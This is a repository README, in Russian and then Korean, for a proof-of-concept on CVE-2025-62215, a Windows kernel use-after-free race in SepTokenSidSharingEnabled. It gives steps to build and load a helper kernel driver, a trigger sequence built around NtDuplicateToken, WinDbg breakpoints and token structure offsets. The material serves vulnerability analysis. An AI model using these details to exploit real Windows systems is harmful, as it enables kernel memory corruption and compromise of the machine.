gowonisgood/cve-2025-62215-pocPoC-эксплойт для CVE-2025-62215, уязвимости типа Use-After-Free в ядре Windows в SepTokenSidSharingEnabled. Включает драйвер ядра и эксплойт пользовательского режима для анализа состояния гонки.
PoC-эксплойт уязвимости Use-After-Free, возникающей в пути оптимизации SepTokenSidSharingEnabled ядра Windows.
NtDuplicateToken увеличивает RefCount блока значений SID с 1 до 2,
конкурирующий поток ядра освобождает блок через ExFreePoolWithTag.SepDereferenceSidValuesBlock обращается к освобождённому блоку → UAF / Double Free.[User] IOCTL_REPLACE_SID_BLOCK → Поместить независимый блок (RefCount=1) по смещению TOKEN+0x468
[User] IOCTL_TRIGGER_FREE → Запустить поток ядра (ожидать RefCount==2)
[User] NtDuplicateToken → Внутренне увеличивает RefCount 1→2
[Kernel Thread] Обнаружен RefCount==2 → ExFreePoolWithTag(pBlock) ← точка UAF
| Путь | Описание |
|---|---|
exploit/exploitWithDriv/exploitWithDriv.cpp | Пользовательский эксплойт (консольное приложение) |
tokendriv/tokendrv/tokendrv/tokendrv.cpp | Драйвер ядра (предоставляет интерфейс IOCTL) |
tokendriv.sys — Драйвер ядраtokendriv/tokendrv/tokendrv.slnxtokendriv/tokendrv/x64/Release/tokendrv.sys.sys на виртуальную машинуПосле установки WDK проверьте: Project Properties → Driver Settings → Target OS Version
exploitWithDriv.exe — Пользовательский эксплойтexploit/exploitWithDriv.slnxexploit/x64/Release/exploitWithDriv.exeSepTokenSidSharingEnabled)test / 1234 (локальная учётная запись, права администратора не требуются)sc create tokendriv type= kernel binpath= "C:\path\to\tokendrv.sys"
sc start tokendriv
Проверьте, что драйвер запущен:
sc query tokendriv
Статус должен быть RUNNING.
exploitWithDriv.exe
Порядок выполнения:
FullNumberOfPhysicalPages (должно быть ≤ 0x83400)LogonUser("test", ".", "1234") → получение hSourceREPLACE → TRIGGER → NtDuplicateToken → Sleep(1)0: kd> !process 0 0 exploitWithDriv.exe
Пример вывода:
PROCESS ffffa88f5e61e080
SessionId: 1 Cid: 1234 Peb: ... ParentCid: ...
Image: exploitWithDriv.exe
ffffa88f5e61e080 — это адрес EPROCESS.
Приведённые ниже адреса могут отличаться в зависимости от среды — уточните по актуальным символам ядра.
A. Увеличение RefCount блока SID (начало окна гонки)
0: kd> bp fffff800`725c6114 ".if (@$proc == 0xffffa88f5e61e080) { .echo A_REFCNT_INCR; dq poi(@rsi+0x468)+8 L1; gc } .else { gc }"
TOKEN+0x4681 на 2 — это окно гонкиB. Точка чтения UAF
0: kd> bp fffff800`726f51fb ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_READ; r rax,rdx; gc } .else { gc }"
rax, rdxC. Точка записи UAF
0: kd> bp fffff800`726f5208 ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_WRITE; r rcx,rdx,rax; gc } .else { gc }"
rcx, rdx, rax на предмет поврежденияВход в NtDuplicateToken
└─ SeTokenCanImpersonate
└─ RefCount блока SID: 1 → 2 ← bp A (A_REFCNT_INCR)
← поток ядра: ExFreePoolWithTag(pBlock)
└─ SepDereferenceSidValuesBlock
└─ разыменование pBlock (чтение) ← bp B (REAL_UAF_READ)
└─ разыменование pBlock (запись) ← bp C (REAL_UAF_WRITE)
2 сразу после вывода A_REFCNT_INCR, окно гонки было успешно открытоREAL_UAF_READ / REAL_UAF_WRITE, реальная UAF подтверждена'kcoB': !pool <addr> или !poolused| Структура | Смещение | Поле |
|---|---|---|
_TOKEN | +0x468 | SepSidValues (указатель на блок значений SID) |
| Блок значений SID | +0x000 | Length (ULONG) |
| Блок значений SID | +0x008 | ReferenceCount (LONGLONG) |
sc stop tokendriv
sc delete tokendriv
Windows 커널의 SepTokenSidSharingEnabled 최적화 경로에서 발생하는 Use-After-Free 취약점 PoC.
NtDuplicateToken 내부에서 SID Values Block의 RefCount가 1→2로 증가하는 순간,
레이스를 걸어 커널 스레드가 해당 블록을 ExFreePoolWithTag로 해제한다.SepDereferenceSidValuesBlock이 해제된 블록에 다시 접근 → UAF / Double Free.[User] IOCTL_REPLACE_SID_BLOCK → TOKEN+0x468 에 RefCount=1 독립 블록 배치
[User] IOCTL_TRIGGER_FREE → 커널 스레드 시작 (RefCount==2 폴링 대기)
[User] NtDuplicateToken → 내부에서 RefCount 1→2
[Kernel Thread] RefCount==2 감지 → ExFreePoolWithTag(pBlock) ← UAF 지점
| 경로 | 설명 |
|---|---|
exploit/exploitWithDriv/exploitWithDriv.cpp | 유저모드 익스플로잇 (콘솔 앱) |
tokendriv/tokendrv/tokendrv/tokendrv.cpp | 커널 드라이버 (IOCTL 인터페이스 제공) |
tokendriv.sys — 커널 드라이버tokendriv/tokendrv/tokendrv.slnx 열기tokendriv/tokendrv/x64/Release/tokendrv.sys 생성.sys 파일 하나만 VM으로 복사하면 됨WDK 설치 후 프로젝트 속성 → Driver Settings → Target OS Version 확인
exploitWithDriv.exe — 유저모드 익스플로잇exploit/exploitWithDriv.slnx 열기exploit/x64/Release/exploitWithDriv.exe 생성test / 1234 (로컬 계정, 관리자 권한 불필요)sc create tokendriv type= kernel binpath= "C:\path\to\tokendrv.sys"
sc start tokendriv
드라이버 로드 확인:
sc query tokendriv
RUNNING 상태이면 정상.
exploitWithDriv.exe
실행 흐름:
FullNumberOfPhysicalPages 체크 (0x83400 이하여야 진행)LogonUser("test", ".", "1234") → hSource 획득REPLACE → TRIGGER → NtDuplicateToken → Sleep(1)0: kd> !process 0 0 exploitWithDriv.exe
출력 예시:
PROCESS ffffa88f5e61e080
SessionId: 1 Cid: 1234 Peb: ... ParentCid: ...
Image: exploitWithDriv.exe
ffffa88f5e61e080 부분이 EPROCESS 주소.
아래 주소는 환경마다 다를 수 있으므로 실제 커널 심볼로 확인 후 사용.
A. SID Block RefCount 증가 지점 (레이스 윈도우 시작)
0: kd> bp fffff800`725c6114 ".if (@$proc == 0xffffa88f5e61e080) { .echo A_REFCNT_INCR; dq poi(@rsi+0x468)+8 L1; gc } .else { gc }"
TOKEN+0x468 에 있는 SID Values Block의 RefCount(+0x8)를 출력1 → 2로 바뀌는 순간이 레이스 윈도우B. UAF Read 지점
0: kd> bp fffff800`726f51fb ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_READ; r rax,rdx; gc } .else { gc }"
rax, rdx 값 확인C. UAF Write 지점
0: kd> bp fffff800`726f5208 ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_WRITE; r rcx,rdx,rax; gc } .else { gc }"
rcx, rdx, rax 값으로 오염 여부 확인NtDuplicateToken 진입
└─ SeTokenCanImpersonate
└─ SID Block RefCount: 1 → 2 ← bp A (A_REFCNT_INCR)
← 커널 스레드: ExFreePoolWithTag(pBlock)
└─ SepDereferenceSidValuesBlock
└─ pBlock 역참조 (읽기) ← bp B (REAL_UAF_READ)
└─ pBlock 역참조 (쓰기) ← bp C (REAL_UAF_WRITE)
A_REFCNT_INCR 출력 직후 RefCount가 2이면 레이스 윈도우 진입 성공REAL_UAF_READ / REAL_UAF_WRITE 이 출력되면 실제 UAF 발생 확인'kcoB' 로 할당된 블록 추적: !pool <addr> 또는 !poolused| 구조체 | 오프셋 | 필드 |
|---|---|---|
_TOKEN | +0x468 | SepSidValues (SID Values Block 포인터) |
| SID Values Block | +0x000 | Length (ULONG) |
| SID Values Block | +0x008 | ReferenceCount (LONGLONG) |
sc stop tokendriv
sc delete tokendriv